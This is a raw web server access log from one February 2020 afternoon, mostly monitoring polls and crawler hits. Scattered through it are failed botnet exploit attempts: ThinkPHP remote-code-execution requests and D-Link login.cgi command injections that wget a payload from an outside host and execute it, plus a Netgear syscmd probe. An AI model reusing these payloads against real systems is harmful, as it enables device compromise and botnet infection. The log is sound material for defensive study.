87.103.115.142 - - [24/Feb/2020:17:08:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:17:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:17:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:17:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:17:11:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:17:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:17:12:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:17:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:17:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:17:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:17:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [24/Feb/2020:17:15:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:17:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
67.183.251.230 - - [24/Feb/2020:17:16:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:17:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.107.81.114 - - [24/Feb/2020:17:17:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [24/Feb/2020:17:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:17:20:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
45.143.220.189 - - [24/Feb/2020:17:20:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [24/Feb/2020:17:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.121.130.7 - - [24/Feb/2020:17:20:53 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=busybox&curpath=/&currentsetting.htm=1 HTTP/1.1" 400 329 "-" "Mozilla/5.0"
212.91.246.72 - - [24/Feb/2020:17:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:25:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:26:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:27:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:28:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:29:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:30:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:31:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:32:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.114.192.235 - - [24/Feb/2020:17:33:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [24/Feb/2020:17:33:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:34:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:35:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:36:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:37:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.101.47 - - [24/Feb/2020:17:38:08 +0100] "GET /sip.cfg HTTP/1.1" 404 312 "-" "PolycomVVX-VVX_411-UA/5.5.1.11526"
212.91.246.72 - - [24/Feb/2020:17:38:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:39:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:17:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
88.247.50.184 - - [24/Feb/2020:17:40:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:17:40:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:42:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:43:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.140.21.17 - - [24/Feb/2020:17:43:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
189.41.94.4 - - [24/Feb/2020:17:44:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
189.41.94.4 - - [24/Feb/2020:17:44:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:17:44:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.101.47 - - [24/Feb/2020:17:45:15 +0100] "GET /sip.cfg HTTP/1.1" 404 312 "-" "PolycomVVX-VVX_411-UA/5.5.1.11526"
192.162.101.47 - - [24/Feb/2020:17:45:16 +0100] "GET /sip.cfg HTTP/1.1" 404 312 "-" "PolycomVVX-VVX_411-UA/5.5.1.11526"
212.91.246.72 - - [24/Feb/2020:17:45:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.101.47 - - [24/Feb/2020:17:46:03 +0100] "GET /gemeinschaft/prov/snom/settings.php HTTP/1.1" 404 340 "-" "Aastra 6753i/3.3.1.4358"
212.91.246.72 - - [24/Feb/2020:17:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.101.47 - - [24/Feb/2020:17:46:38 +0100] "GET /gemeinschaft/prov/snom/settings.php HTTP/1.1" 404 340 "-" "Aastra 6753i/3.3.1.4358"
58.241.236.210 - - [24/Feb/2020:17:47:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
87.241.128.55 - - [24/Feb/2020:17:47:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
192.162.101.47 - - [24/Feb/2020:17:47:28 +0100] "GET /sip.cfg HTTP/1.1" 404 312 "-" "PolycomVVX-VVX_411-UA/5.5.1.11526"
212.91.246.72 - - [24/Feb/2020:17:47:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.101.47 - - [24/Feb/2020:17:47:40 +0100] "GET /gemeinschaft/prov/snom/settings.php HTTP/1.1" 404 340 "-" "Aastra 6753i/3.3.1.4358"
192.162.101.47 - - [24/Feb/2020:17:47:58 +0100] "GET /sip.cfg HTTP/1.1" 404 312 "-" "PolycomVVX-VVX_411-UA/5.5.1.11526"
212.91.246.72 - - [24/Feb/2020:17:48:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.162.101.47 - - [24/Feb/2020:17:49:18 +0100] "GET /gemeinschaft/prov/snom/settings.php HTTP/1.1" 404 340 "-" "Aastra 6753i/3.3.1.4358"
212.91.246.72 - - [24/Feb/2020:17:49:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:50:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:51:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:52:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.135.129.109 - - [24/Feb/2020:17:52:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:17:53:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:54:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:55:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:56:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.191.52.254 - - [24/Feb/2020:17:56:39 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:17:57:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:17:58:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.115.191.164 - - [24/Feb/2020:17:58:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:17:59:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:00:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:01:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.219.234.53 - - [24/Feb/2020:18:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [24/Feb/2020:18:02:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.211.0.113 - - [24/Feb/2020:18:03:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
160.20.81.236 - - [24/Feb/2020:18:03:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:18:03:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.96.150.246 - - [24/Feb/2020:18:04:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:18:04:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:05:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.214.29.136 - - [24/Feb/2020:18:07:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:18:07:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:08:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [24/Feb/2020:18:08:38 +0100] "\x16\x03\x01" 501 318 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:09:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:09:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:10:06 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:10:18 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:10:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [24/Feb/2020:18:10:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.76.230.243 - - [24/Feb/2020:18:10:45 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.164.35.72 - - [24/Feb/2020:18:10:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:18:10:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [24/Feb/2020:18:11:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
151.76.230.243 - - [24/Feb/2020:18:11:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:11:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
121.164.35.72 - - [24/Feb/2020:18:11:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:18:11:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:11:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:12:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:12:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:12:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:12:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:13:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:13:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:13:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:13:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:13:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:13:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:13:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.143.220.189 - - [24/Feb/2020:18:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
151.76.230.243 - - [24/Feb/2020:18:13:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:13:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:13:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:14:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
200.116.145.117 - - [24/Feb/2020:18:14:12 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:14:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:14:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:14:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:15:03 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:15:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:15:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:15:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:15:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:15:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:15:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:15:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:16:17 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:16:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:16:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:16:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:16:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:16:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:16:46 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:16:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:17:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:17:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:17:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:17:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:17:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:17:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:17:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:18:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:18:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:18:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:18:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.76.230.243 - - [24/Feb/2020:18:18:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
87.250.233.66 - - [24/Feb/2020:18:19:07 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
87.250.233.66 - - [24/Feb/2020:18:19:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
212.91.246.72 - - [24/Feb/2020:18:19:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:20:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [24/Feb/2020:18:20:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
151.76.230.243 - - [24/Feb/2020:18:21:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:22:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [24/Feb/2020:18:23:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.76.230.243 - - [24/Feb/2020:18:24:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [24/Feb/2020:18:24:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.68.180.18 - - [24/Feb/2020:18:25:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36"
212.91.246.72 - - [24/Feb/2020:18:25:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.242.214.207 - - [24/Feb/2020:18:25:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [24/Feb/2020:18:26:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
